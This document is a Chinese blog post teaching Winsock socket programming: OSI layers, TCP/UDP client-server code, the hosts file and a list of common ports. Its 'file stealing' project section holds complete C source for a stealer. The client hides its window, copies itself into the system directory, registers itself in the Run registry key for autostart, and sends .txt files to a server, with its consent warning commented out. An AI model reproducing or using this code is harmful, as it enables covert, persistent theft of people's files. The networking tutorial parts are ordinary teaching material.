socket的基本使用,基于TCP/UDP

OSI参考模型

Open System Interconnect 开放式系统

OSI.webp

  • 每层网络的由来

物理层:010101比特流,设备之间原始数据的传输,数模转换(发送端)和模数转换(接收端)

-》传输过程可能出现错码和误码?

数据链路层:将原始比特流转换成逻辑传输符号,提供纠错编码,格式变为帧

-》出现多个网络节点,应该选择哪个节点?

网络层:通过路由选择,选择最佳路径,数据格式是IP数据包

-》某次连接传输的数据可能很大,会出现错传、漏传

传输层:将数据拆分成段,提供维护连接的机制(流量控制、拥塞控制)

-》对用户来说每次都要使用传输层拆分,再使用网络层寻路很麻烦

会话层:提供建立连接和维护连接的机制,方便用户使用

-》不同操作系统之间的网络传输如何互通?linux/windows

表示层:提供编码转换、加解密、解压缩

-》接收方不知道发送发发送的是什么东西、数据有多长?

应用层:规定发送方和接收方必须使用固定长度的消息头,并且消息头固定格式,并标明长度等信息。

网络架构

B/S(Browser/Server)

browser(client) - web server - sql(Structured Query Language server database)

通过web服务器中转操作

在全球网络化时运应而生,是三层C/S架构 客户端 - 应用服务器 - 数据库

C/S (Client/Server)

两层架构 客户端 - 数据库

点对点的模式,适用于局域网

  • Client:

  • Server:

ip/port

  • IP(internatinal)

  • port (IP的细分): 2 16 ( 65536 ) 2^{16}(65536) 216(65536)

0-1023被用作知名服务器端口 FTP(file) 21/HTTP/SMTP(Simple Mail )

相当于机器(ip)跟按钮(port) 而某些必要按钮(开关,挡位)被定在公认端口

TCP/UDP

TCP(Transmission Control Protocol) : 按顺序分批传输,会因为部分数据在等待而浪费时间,在每次传输后都需要验证是否正确,再确定是重发或者下一个,不存在数据边界(数组越界那种,因为传输的数据量大小由客户端决定,量达标了就停止传输

UDP(UserDatagramProtocol) : 传输大小由服务端决定,所以存在数据边界,因为不按顺序,就不会有很多数据进入无效等待,见缝插针,传送数据就会更快,但因为网络原因,传输的数据可能丢失,最后会进行一次校验

TCP相当于打电话,稳定,聊天,文件传输

UDP相当于发邮件,但是更快,音视频

socket

原理

socket详解

套接字,是一个网络连接设备

起源于Unix/Linux的基本哲学一切皆文件,都可以打开open –> 读写write/read –> 关闭close模式来操作。

socket就是一种特殊的文件,通过socket函数进行读/写IO、打开、关闭

为了解决网络进程间交互的一个工具

  • 本地进程间的通信

标记进程 : pid - 物质

  • 网络通信

标记进程: 网络层 ip标识主机 传输层 protocol和port来标记主机中的进程(应用程序)

使用步骤

  1. socket(bind)/closesocket 创建/关闭

  2. connect/listen/accept 连接

  3. send/recv,sendto/recvfrom传输(read/write)

  • listen详解

listen(sockSrv, 5) listen有一个connect消息的队列,而5就是最大监听数目

当同时的请求大于5时,后面的因为无法进入队列,从而失败(只有当队列中有空位时,后续的才有效)

可以通过在server中的listen后添加sleep(10000)来进行测试

  • 数据结构

用来标识地址

struct sockaddr {//操作系统使用
    u_short    sa_family;  	        //16位地址类型 2字节
    char       sa_data[14];            //14字节地址数据:ip + port
};   
 
struct sockaddr_in {//我们使用的
    short   sin_family;			//16位地址类型
    u_short sin_port;			//16位端口号 65535  2的16次方
    struct  in_addr sin_addr;   //32位IP地址  4字节
    char    sin_zero[8];		//8字节填充为0
};

address family(AF) 家族类 来确定地址类型 : ipv4或者ipv6或(vpnv4?)

s : specify指定 in : indicate表明 6 : ipv6 (v:version) addr : address sa : sockaddr

原理代码

基本步骤

//Todo : socket bind listen accept read write close
//初始化
WSADATA data;
WSAStartup(MAKEWORD(1, 1), &data);
SOCKET serv_sock =  socket(PF_INET, SOCK_STREAM, 0);
//绑定地址
sockaddr_in serv_adr{}, client_adr{};
serv_adr.sin_family = AF_INET;
serv_adr.sin_addr.s_addr = INADDR_ANY;
serv_adr.sin_port = htons(9527);
bind(serv_sock, (sockaddr*)&serv_adr, sizeof(serv_adr));
//收发
listen(serv_sock, 1);
char buffer[1024];
int cli_sz = sizeof(client_adr);
SOCKET client = accept(serv_sock, (sockaddr*)&client_adr, &cli_sz);
recv(client, buffer, sizeof(buffer), 0);
send(client, buffer, sizeof(buffer), 0);
// 关闭
closesocket(serv_sock);
WSACleanup();

初始化

都需要先初始化socket库,然后进行绑定,服务端和客户端有所不同

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma  comment (lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
//如果不引入就会导致链接错误,因为头文件只是声明,还需要库文件中的定义才能发挥作用


int main()
{
	//0.初始化网络库和socket库
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	//1.创建socket并检查,初始化
	SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
    
    ....................................
        //主要代码块
    ....................................
        
    closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

地址绑定

服务端

SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//host to net long
addrSrv.sin_port = htons(6000);//s : short

if(SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
    printf("bind error =%d\n", GetLastError());
    return -1;
}

客户端

SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = inet_addr("192.168.6.1");//配置要连接的服务器
addrSrv.sin_port = htons(6000);

错误处理

大概这总格式

std::string GetErrorInfo(int wsaErrCode)
{
	std::string ret;
	LPVOID lpMsgBuf = NULL;
	FormatMessage(
		FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER,//从系统拿到消息,自动分配缓冲区
		NULL,
		wsaErrCode,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),//适配系统语言
		(LPTSTR)&lpMsgBuf, 0, NULL);
	ret = (char*)lpMsgBuf;
	LocalFree(lpMsgBuf);
	return ret;
}

TRACE("连接失败:%d %s\n", WSAGetLastError(), GetErrorInfo(WSAGetLastError()).c_str());

效果

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma  comment (lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
//如果不引入就会导致链接错误,因为头文件只是声明,还需要库文件中的定义才能发挥作用


int main()
{
	//0.初始化网络库和socket库
#if 1
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);//windows api start up
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();//工具->错误查找->输入错误代码
		system("pause");
		return -1;
	}
#endif
	//1.创建socket并检查,初始化
	SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);//0表示不需要调用方使用
	if (INVALID_SOCKET == sockCli)
	{
		printf("socket errorNo = %d\n", GetLastError());
		return -1;
	}
    
    ....................................
        //主要代码块
    ....................................
        
    closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

实现TCP/UDP

TCP

服务端

主机监听,接受连接,分配资源(再建立一个socket来连接分机)

	//监听
	listen(sockSrv, 3)

	//建立分机处理
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);
	while (TRUE)
	{
		printf("begin accept\n");
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli,&len);
        //参数2是一个指向接受实体(entity)地址的缓冲区(buffer)指针,称为通信层(communications layer)
		//printf("end accept\n");
		//2.2连接完成,收发数据
		char sendBuf[100] = { 0 };
		sprintf_s(sendBuf, 100, "welcome %s to China!",inet_ntoa(addrCli.sin_addr));//a是字符串
		int iLen = send(sockConn, sendBuf, strlen(sendBuf), 0);
		char recvBuf[100] = { 0 };
		iLen = recv(sockConn, recvBuf, 100, 0);
		printf("recBuf = %s\n", recvBuf);

		closesocket(sockConn);
	}

客户端

	//连接服务器
	connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))

	//收发数据
	char recvBuf[100] = { 0 };
	int iLen = recv(sockCli, recvBuf, 100, 0);
	printf("recvBuf= %s\n", recvBuf);
	char sendBuf[100]="hello";
	iLen = send(sockCli,(char*) sendBuf, 100, 0);

UDP

服务端

	SOCKADDR_IN addCli;
	int len = sizeof(SOCKADDR_IN);
	char recvBuf[100];
	char sendBuf[100]="hello UDP client";

	while (1)
	{
		recvfrom(sockSrv, recvBuf, 100, 0, ( SOCKADDR*)&addrSrv, &len);
		cout << recvBuf << endl;
		sprintf_s(sendBuf, 100, "%s", recvBuf);
		sendto(sockSrv, sendBuf, strlen(sendBuf)+1, 0, (SOCKADDR*)&addrCli, len);
	}

客户端

    int len = sizeof(SOCKADDR);
    char sendBuf[100] = "hello UDP server";
    char recvBuf[100] = { };

    sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)(&addrSrv), len);
    recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)(&addrSrv), &len);

    printf("%s\n", recvBuf);

窃取文件(项目)

设计

服务端 : 接受数据就行

客户端 : 读取文件 发送数据 添加到注册表到开机自启 隐藏当前窗口

实现

服务端

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写 
#define MAX_SIZE 1024

void ErrorHanding(const char* msg)//检查错误的函数
{
	fputs(msg, stderr);
	fputc('\n', stderr);
	exit(1);
}
int main()
{

	printf("Steal server\n");
    
	//0.初始化网络库,选择使用库的版本
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
    //windows api start up  用wVersionRequested的信息来进行初始化,并将结果存放的wsaData中,用于检查
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;//GetLastError()得到错误代码后,工具->错误查找->输入错误代码
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
    
	//1.构建连接
    //函数不会使用?鼠标选中函数后,按F1
    //1.1创建socket
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);//INET internet   Srv : server
	if (INVALID_SOCKET == sockSrv)	ErrorHanding("socket error");

	//1.2初始化地址
	SOCKADDR_IN addrSrv;
    addrSrv.sin_family = AF_INET;//AF_INET6 internetwork: UDP, TCP, etc.   AF:address family
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    //host to net long ipv4地址占四个字节,即long
    //INADDR_ANY表示不定地址,任意地址,即表示监听所有信息,即socket服务器只需要绑定端口
	addrSrv.sin_port = htons(6000);//s : short 端口占两个字节
    //1.3socket与地址进行绑定
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))ErrorHanding("bind error");

	//连接
	//2.1主机监听连接,分配资源
	if (SOCKET_ERROR == listen(sockSrv, 5))ErrorHanding("listen");
    
	//2.2子机创建socket,并创建msg来读取数据
    SOCKET sockCli;
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR_IN);//accept需要指针
	char msg[MAX_SIZE]={0};
	int strlen = 0;
	while(1)
	{
         memset(msg, 0, MAX_SIZE);//将msg的前MAX_SIZE个数据都设成0
		sockCli = accept(sockSrv, (SOCKADDR*)&addrCli, &len);//接受数据,并检查
		if (SOCKET_ERROR == sockCli)ErrorHanding("accept error");
		while (strlen = recv(sockCli, msg, MAX_SIZE, 0) != 0) puts(msg);//打印接收到的数据
		closesocket(sockCli);//关闭分机
	}
	closesocket(sockSrv);
	WSACleanup();
	system("pause");//选中函数alt+G查看包含它的头文件
}

客户端

#include <windows.h>//包含winsock2.h,不要再导入,否则重定义
#include <stdio.h>
#include <io.h>//用于注册表相关的
#pragma  comment (lib,"ws2_32.lib")

int SendtoServer(const char* path);//发送数据到服务端
int DoSteal(const char* szPath);//窃取数据
void AddToSystem();//添加到注册表,需要管理员权限
void HideMyself();//隐藏当前窗口

int main()
{
	printf("Steal\n");
	HideMyself();
	AddToSystem();
	DoSteal("D:\\code\\stealtest\\");//注意要末尾的'\\'
	int a = 0;
	scanf("%d", a);
}

int SendtoServer(const char* path)
{//1.连接服务器 2.读取文件到sendbuf并发送到服务器 3.关机
	printf("steal Client\n");

#if 1
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
#endif

	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
		printf("socket error=%d\n", GetLastError());
		return -1;
	}

	SOCKADDR_IN addrSrv;
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//本地地址,也可cmd ipconfig查询
	addrSrv.sin_port = htons(6000);
	//以上与server基本一致


	//连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
		printf("connect error =%d\n", GetLastError());
		return -1;
	}

	//读取文件内容,存放到sendbuf中
	char sendBuf[1024]{ 0 };//初始化为0是为了防止保证'\0',以免出现烫烫烫
	FILE* fp;
	fp = fopen(path, "rb");
	int len = fread(sendBuf, 1, 1024, fp);//(存放位置,每个单位的字节大小,总长度,FILE*)
	fclose(fp);
	//发送sendbuf,注意结尾的0
	int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);//多一个字节放'\0'
	if (iLen < 0)//检查
	{
		printf("send errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}

	closesocket(sockCli);
	WSACleanup();
}

int DoSteal(const char* szPath)//search zero path 传入的文件路径
{//遍历完所有文件,将*.txt交给sender处理,遍历分两步1.找到第一个2.后面的所有
    
	WIN32_FIND_DATA FindFileData;//这个结构体包含了很多文件的信息alt+G查看
	HANDLE hListFile;//文件用句柄标识

    //szFilePath用来寻找第一个文件,并将句柄存放到FindFileData
	char szFilePath[MAX_PATH] = { 0 };//涉及路径的字符数组长度,无脑 MAX_PATH 260
	strcpy(szFilePath, szPath);//c/c++老函数1,禁用特定警告4996
	strcat(szFilePath, "\\*");
	hListFile = FindFirstFile(szFilePath, &FindFileData);
	
    do
	{	//利用FindFileData 与 FindNextFile 遍历完目录下所有文件,每次都用mypath来存放
         char mypath[MAX_PATH] = { 0 };
		strcpy(mypath, szPath);
		strcat(mypath, FindFileData.cFileName);
		printf("%s\n", mypath);//  \.表示当前目录 \..表示父目录
		if (strstr(mypath, ".txt"))//未找到返回NULL
		{
			SendtoServer(mypath);
		}
	} while (FindNextFile(hListFile, &FindFileData));
	return 0;
}

void AddToSystem()
{//每次使用只需要改变125行的那个
	HKEY  hKEY;
	char  CurrentPath[MAX_PATH];
	char  SysPath[MAX_PATH];
	long  ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit : register edit  win + R

	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL, CurrentPath, size);
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath, "\\mysteal.exe");//每次使用时,只需要改变这个

	struct _finddata_t Steal;
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
		return;//已经安装!
	printf("ret2 = %d\n", ret);
	
	//int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
	//if (ihow == IDCANCEL)
	//	exit(0);
	//if (ihow == IDNO)
	//	return;//只运行一次
	//复制文件
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret)
	{
		return;
	}
	//加入注册表
	printf("ret = %d\n", ret);
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	//Set Key
	ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);

}

void HideMyself()
{
	// 拿到当前的窗口句柄
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

hosts

域名需要翻译称ip第地址,而翻译有两步,先查找本机的hosts文件,再通过DNS来寻找ip

修改hosts文件

  1. everything搜索hosts 管理员权限打开
  2. 两个格式
    1. 行首为#的为注释
    2. 修改格式ip+空格+域名 如0.0.0.0 www.bilibili.com 域名要加上www. 不需要https协议

常见端口

网络常用端口与协议

HTTP: 80 www服务。

DHCP:服务器端的端口号是67

DHCP:客户机端的端口号是68

POP3:POP3仅仅是接收协议,POP3客户端使用SMTP向服务器发送邮件。POP3所用的端口号是110。

SMTP: 端口号是25。SMTP真正关心的不是邮件如何被传送,而只关心邮件是否能顺利到达目的地。SMTP具有健壮的邮件处理特性,这种特性允许邮件依据一定标 准自动路由,SMTP具有当邮件地址不存在时立即通知用户的能力,并且具有在一定时间内将不可传输的邮件返回发送方的特点。

Telnet:端口号是23。Telnet是一种最老的Internet应用,起源于ARPNET。它的名字是“电信网络协议(Telecommunication Network Protocol)”的缩写。

FTP:FTP使用的端口有20和21。20端口用于数据传输,21端口用于控制信令的传输,控制信息和数据能够同时传输,这是FTP的特殊这处。FTP采用的是TCP连接。

TFTP:端口号69,使用的是UDP的连接。

DNS:53,名称服务

NetBIOS: 137,138,139,其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得 NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。

NNTP 网络新闻传输协议:119

SNMP(Simple Network Management Protocol)(简单网络管理协议):161端口

RPC(Remote Procedure Call)(远程过程调用)服务:135端口

QQ:使用8000(服务端)和4000端口(客户端)

21 端口:21 端口主要用于FTP(File Transfer Protocol,文件传输协议)服务。

23 端口:23 端口主要用于Telnet(远程登录)服务,是Internet上普遍采用的登录和仿真程序,最初设计被用来方便管理员远程管理计算机,可现在真正将其发挥到极致的是"黑客"!

25 端口:25 端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务器所开放,主要用于发送邮件,如今绝大多数邮件服务器都使用该协议。

53 端口:53 端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS 服务在NT 系统中使用的最为广泛。

67、68 端口:67、68 端口分别是为Bootp 服务的Bootstrap Protocol Server(引导程序协议服务端)和Bootstrap Protocol Client(引导程序协议客户端)开放的端口。

69 端口:TFTP 是Cisco 公司开发的一个简单文件传输协议,类似于FTP。

79 端口:79 端口是为Finger 服务开放的,主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的详细信息。

80 端口:80 端口是为HTTP(HyperText Transport Protocol,超文本传输协议)开放的,这是上网冲浪使用最多的协议,主要用于在WWW(World Wide Web,万维网)服务上传输信息的协议。

99 端口:99 端口是用于一个名为“Metagram Relay”(亚对策延时)的服务,该服务比较少见,一般是用不到的。

109、110 端口:109 端口是为POP2(Post Office Protocol Version2,邮局协议2)服务开放的,110 端口是为POP3(邮件协议3)服务开放的,POP2、POP3 都是主要用于接收邮件的。

111 端口:111 端口是SUN 公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC 在多种网络服务中都是很重要的组件。

113 端口:113 端口主要用于Windows 的“Authentication Service”(验证服务)。

119 端口:119 端口是为“Network News Transfer Protocol”(网络新闻组传输协议,简称NNTP)开放的。

135 端口:135 端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

137 端口:137 端口主要用于“NetBIOS Name Service”(NetBIOS名称服务)。

139 端口:139 端口是为“NetBIOS Session Service”提供的,主要用于提供Windows 文件和打印机共享以及Unix 中的Samba 服务。

143 端口:143 端口主要是用于“Internet Message Access Protocol”v2(Internet 消息访问协议,简称IMAP)。

161 端口:161 端口是用于“Simple Network Management Protocol”(简单网络管理协议,简称SNMP)。

443 端口:443 端口即网页浏览端口,主要是用于HTTPS 服务,是提供加密和通过安全端口传输的另一种HTTP。

554 端口:554 端口默认情况下用于“Real Time Streaming Protocol”(实时流协议,简称RTSP)。

1024 端口:1024 端口一般不固定分配给某个服务,在英文中的解释是“Reserved”(保留)。

1080 端口:1080 端口是Socks 代理服务使用的端口,大家平时上网使用的WWW 服务使用的是HTTP 协议的代理服务。

1755 端口:1755 端口默认情况下用于“Microsoft Media Server”(微软媒体服务器,简称MMS)。

3389端口:远程桌面 (嘿嘿!3389入侵就是用的这个口)

  • 23
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值